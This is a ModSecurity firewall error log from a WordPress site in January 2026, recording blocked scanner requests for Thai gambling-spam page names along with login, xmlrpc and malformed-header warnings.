[Thu Jan 29 11:43:48.589763 2026] [:error] [pid 19069:tid 19082] [client 175.6.217.4:50025] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXrXdPDHsRM4BJ9a4QurXwAAAAQ"]
[Thu Jan 29 12:31:57.362915 2026] [:error] [pid 19069:tid 19095] [client 103.140.55.130:46266] [client 103.140.55.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.140.55.130, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXrivfDHsRM4BJ9a4Qu3xQAAABE"]
[Thu Jan 29 12:31:57.389167 2026] [:error] [pid 20579:tid 20657] [client 38.46.222.3:43188] [client 38.46.222.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.46.222.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXrivTVXNopcNyjJc9W6UAAAAlA"]
[Thu Jan 29 12:31:58.719212 2026] [:error] [pid 19069:tid 19102] [client 103.140.55.130:46266] [client 103.140.55.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.140.55.130, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXrivvDHsRM4BJ9a4Qu3xgAAABg"], referer: https://gigfragments.org/wp-login.php?action=register
[Thu Jan 29 13:59:29.125845 2026] [:error] [pid 20486:tid 20497] [client 85.239.246.59:46720] [client 85.239.246.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.239.246.59, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXr3QXgqSZb6GBx5nnObfQAAAQg"]
[Thu Jan 29 15:21:56.268325 2026] [:error] [pid 20579:tid 20668] [client 31.220.76.35:39706] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aXsKlDVXNopcNyjJc9XdLwAAAlg"]
[Thu Jan 29 15:22:00.121651 2026] [:error] [pid 20578:tid 20618] [client 31.220.76.35:50552] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aXsKmA6UX7yOMwQFiyf2FQAAAgU"]
[Thu Jan 29 15:22:05.468324 2026] [:error] [pid 20486:tid 20498] [client 31.220.76.35:50566] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aXsKnXgqSZb6GBx5nnOuRAAAAQk"]
[Thu Jan 29 15:22:11.216220 2026] [:error] [pid 19069:tid 19098] [client 31.220.76.35:37842] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aXsKo_DHsRM4BJ9a4Qvv_wAAABQ"]
[Thu Jan 29 15:22:14.576882 2026] [:error] [pid 20486:tid 20495] [client 31.220.76.35:37854] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aXsKpngqSZb6GBx5nnOuawAAAQY"]
[Thu Jan 29 15:22:20.695682 2026] [:error] [pid 19071:tid 19146] [client 31.220.76.35:40784] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aXsKrJfa8Ix5wWmtmJxCkgAAAI0"]
[Thu Jan 29 15:22:24.290254 2026] [:error] [pid 19071:tid 19150] [client 31.220.76.35:40798] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aXsKsJfa8Ix5wWmtmJxClgAAAJE"]
[Thu Jan 29 15:22:28.391778 2026] [:error] [pid 19071:tid 19151] [client 31.220.76.35:40810] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aXsKtJfa8Ix5wWmtmJxCnAAAAJI"]
[Thu Jan 29 15:22:38.356650 2026] [:error] [pid 20579:tid 20660] [client 31.220.76.35:32904] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aXsKvjVXNopcNyjJc9Xd_gAAAlM"]
[Thu Jan 29 15:22:44.372829 2026] [:error] [pid 19070:tid 19118] [client 31.220.76.35:59526] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aXsKxLou83lIon_aKgamVwAAAEw"]
[Thu Jan 29 16:30:32.184250 2026] [:error] [pid 19177:tid 19198] [client 43.166.134.114:37890] [client 43.166.134.114] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXsaqHipGz0PT8TrQv5iBgAAANM"]
[Thu Jan 29 16:51:44.712475 2026] [:error] [pid 19069:tid 19089] [client 212.63.143.142:58702] [client 212.63.143.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.63.143.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXsfoPDHsRM4BJ9a4QsQBwAAAAs"]
[Thu Jan 29 18:07:19.492842 2026] [:error] [pid 20579:tid 20660] [client 95.91.110.210:22518] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%A2%E0%B8%B9%E0%B8%9F%E0%B9%88%E0%B8%B2%E0%B9%80%E0%B8%9A%E0%B8%97.aspx"] [unique_id "aXsxVzVXNopcNyjJc9X8DwAAAlM"]
[Thu Jan 29 18:07:21.551255 2026] [:error] [pid 20576:tid 20603] [client 95.91.110.210:22526] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20xo.aspx"] [unique_id "aXsxWSrDZws_FlQGi9dUvAAAAdE"]
[Thu Jan 29 18:07:23.723848 2026] [:error] [pid 19069:tid 19091] [client 95.91.110.210:34100] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2pg.aspx"] [unique_id "aXsxW_DHsRM4BJ9a4QspeAAAAA0"]
[Thu Jan 29 18:07:25.857072 2026] [:error] [pid 19069:tid 19079] [client 95.91.110.210:34128] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2superslot.aspx"] [unique_id "aXsxXfDHsRM4BJ9a4QspfAAAAAE"]
[Thu Jan 29 18:07:28.008109 2026] [:error] [pid 19070:tid 19115] [client 95.91.110.210:34148] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2ufabet.aspx"] [unique_id "aXsxYLou83lIon_aKgbHEQAAAEk"]
[Thu Jan 29 18:07:30.066761 2026] [:error] [pid 19177:tid 19191] [client 95.91.110.210:34182] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXsxYnipGz0PT8TrQv5ztgAAAMw"]
[Thu Jan 29 18:07:32.159404 2026] [:error] [pid 19177:tid 19181] [client 95.91.110.210:34214] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXsxZHipGz0PT8TrQv5zyAAAAMI"]
[Thu Jan 29 18:07:40.607634 2026] [:error] [pid 19177:tid 19196] [client 95.91.110.210:20140] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXsxbHipGz0PT8TrQv5z1AAAANE"]
[Thu Jan 29 18:07:42.978522 2026] [:error] [pid 20579:tid 20647] [client 95.91.110.210:20148] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%9C%E0%B8%A5%20%E0%B8%9A%E0%B8%AD%E0%B8%A5%20%E0%B8%AA%E0%B8%94%20thscore%20vip.aspx"] [unique_id "aXsxbjVXNopcNyjJc9X8JAAAAkY"]
[Thu Jan 29 18:07:46.187616 2026] [:error] [pid 20580:tid 20689] [client 95.91.110.210:21856] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%9D%E0%B8%B2%E0%B8%81-%E0%B8%96%E0%B8%AD%E0%B8%99%20ufa365.aspx"] [unique_id "aXsxcpCZ5HHdXPmeL58FmAAAApU"]
[Thu Jan 29 18:07:49.184830 2026] [:error] [pid 19069:tid 19098] [client 95.91.110.210:21872] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%20otp%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B550%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B9%81%E0%B8%8A%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXsxdfDHsRM4BJ9a4QspnwAAABQ"]
[Thu Jan 29 18:07:51.345211 2026] [:error] [pid 20578:tid 20630] [client 95.91.110.210:21888] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%A2%E0%B8%B9%E0%B8%9F%E0%B9%88%E0%B8%B2%E0%B9%80%E0%B8%9A%E0%B8%97168.aspx"] [unique_id "aXsxdw6UX7yOMwQFiycV2wAAAhE"]
[Thu Jan 29 18:07:53.445198 2026] [:error] [pid 19069:tid 19096] [client 95.91.110.210:15168] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%A7%E0%B8%B4%E0%B8%98%E0%B8%B5%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%83%E0%B8%AB%E0%B9%89%20%E0%B9%81%E0%B8%95%E0%B8%81.aspx"] [unique_id "aXsxefDHsRM4BJ9a4QspqAAAABI"]
[Thu Jan 29 18:07:55.623431 2026] [:error] [pid 19177:tid 19196] [client 95.91.110.210:15182] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%9A%E0%B8%B2%E0%B8%A2%2099.aspx"] [unique_id "aXsxe3ipGz0PT8TrQv5z7gAAANE"]
[Thu Jan 29 18:07:57.775926 2026] [:error] [pid 20580:tid 20678] [client 95.91.110.210:15198] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2888.aspx"] [unique_id "aXsxfZCZ5HHdXPmeL58FpgAAAoo"]
[Thu Jan 29 18:07:59.796459 2026] [:error] [pid 20519:tid 20563] [client 95.91.110.210:15204] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89%20%E0%B8%A7%E0%B8%AD%20%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXsxfwo4s4fyROrkyRnHcgAAAY8"]
[Thu Jan 29 18:08:01.908853 2026] [:error] [pid 19070:tid 19123] [client 95.91.110.210:15216] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%2010%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%20100%20%E0%B8%97%E0%B8%B3%E0%B8%A2%E0%B8%AD%E0%B8%94%20200.aspx"] [unique_id "aXsxgbou83lIon_aKgbHJwAAAFE"]
[Thu Jan 29 18:08:04.021979 2026] [:error] [pid 20576:tid 20596] [client 95.91.110.210:46446] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXsxhCrDZws_FlQGi9dU3QAAAco"]
[Thu Jan 29 18:08:06.024460 2026] [:error] [pid 19177:tid 19179] [client 95.91.110.210:46456] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%95%E0%B8%B4%E0%B8%A1%20true%20wallet%20%E0%B8%9D%E0%B8%B2%E0%B8%81-%E0%B8%96%E0%B8%AD%E0%B8%99%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%20%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2%202020.aspx"] [unique_id "aXsxhnipGz0PT8TrQv5z9QAAAMA"]
[Thu Jan 29 18:08:08.154347 2026] [:error] [pid 20580:tid 20686] [client 95.91.110.210:46470] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXsxiJCZ5HHdXPmeL58FrAAAApI"]
[Thu Jan 29 18:08:10.267051 2026] [:error] [pid 19069:tid 19090] [client 95.91.110.210:46472] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%2088%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXsxivDHsRM4BJ9a4QspxwAAAAw"]
[Thu Jan 29 18:08:12.270070 2026] [:error] [pid 20576:tid 20594] [client 95.91.110.210:46478] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20888%20%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%2050.aspx"] [unique_id "aXsxjCrDZws_FlQGi9dU5AAAAcg"]
[Thu Jan 29 18:08:14.380217 2026] [:error] [pid 19070:tid 19122] [client 95.91.110.210:40944] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89.aspx"] [unique_id "aXsxjrou83lIon_aKgbHNQAAAFA"]
[Thu Jan 29 18:10:18.721499 2026] [:error] [pid 20578:tid 20631] [client 95.91.110.210:38812] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%99%E0%B8%AD%E0%B8%81%20%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88%20%E0%B8%97%E0%B8%B5%E0%B9%88%20%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXsyCg6UX7yOMwQFiycWTQAAAhI"]
[Thu Jan 29 18:10:21.930979 2026] [:error] [pid 19069:tid 19082] [client 95.91.110.210:38814] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXsyDfDHsRM4BJ9a4QsqwQAAAAQ"]
[Thu Jan 29 18:10:28.058239 2026] [:error] [pid 19071:tid 19135] [client 95.91.110.210:2826] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%94%E0%B8%B5.aspx"] [unique_id "aXsyFJfa8Ix5wWmtmJxmFgAAAII"]
